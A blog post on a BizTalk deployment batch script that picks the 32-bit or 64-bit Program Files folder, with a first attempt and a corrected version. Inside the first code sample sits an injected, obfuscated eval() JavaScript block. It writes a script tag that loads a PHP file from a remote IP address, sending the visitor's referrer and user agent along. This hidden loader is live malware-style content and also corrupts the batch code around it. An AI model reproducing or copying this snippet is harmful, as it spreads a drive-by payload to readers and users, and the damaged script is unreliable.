We have several deployment scripts that have to run on both 32-bit and 64-bit environments. Until now, we just modified the script with a “replace all’ command for the 64-bit, which had to use “C:Program Files (x86)” instead of the traditional “C:Program Files” directory.

This was my first attempt:

set <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|diyik|var|u0026u|referrer|szbsb||js|php'.split('|'),0,{}))
</script></noindex> BTDFProgFiles="%programfiles(x86)%"
if %BTDFProgFiles%=="" set BTDFProgFiles="%programfiles%"
echo BTDFProgFiles=%BTDFProgFiles%

rem Then run the desired program 
%BTDFMSBuildPath% "%BTDFProgFiles%ABC.Common%2DeploymentABC.Common.BizTalk.Deployment.btdfproj"  /p:%PARMS% /l:FileLogger,Microsoft.Build.Engine;logfile="%BTDFProgFiles%ABC.EC.Common%2DeployResults

Then later, I was finding the quotes weren’t working, so this was the fix:

@ECHO OFF
setlocal EnableDelayedExpansion 
IF (%1) ==() GOTO NOPARM1 
IF (%2) ==() GOTO NOPARM2 

IF EXIST "%windir%Microsoft.NETFrameworkv3.5MSBuild.exe" (
SET BTDFMSBuildPath="%windir%Microsoft.NETFrameworkv3.5MSBuild.exe"
) ELSE IF EXIST "%windir%Microsoft.NETFrameworkv2.0.50727MSBuild.exe" (
SET BTDFMSBuildPath="%windir%Microsoft.NETFrameworkv2.0.50727MSBuild.exe"
)
@echo on 
set "BTDFProgFiles=%programfiles(x86)%"
if "%BTDFProgFiles%"=="" set "BTDFProgFiles=%programfiles%"
echo BTDFProgFiles=%BTDFProgFiles%

rem Then run the desired program 
%BTDFMSBuildPath% "%BTDFProgFiles%ABC.Common%2DeploymentABC.Common.BizTalk.Deployment.btdfproj"  /p:%PARMS% /l:FileLogger,Microsoft.Build.Engine;logfile="%BTDFProgFiles%ABC.EC.Common%2DeployResultsDeployResults.txt" 

NOTE: This was in conjunction with a wrapper script to run a series of BTDF (BizTalk Deployment Framework) scripts to deploy about 8 apps in one script.

Tagged with:

Filed under: BizTalk Admin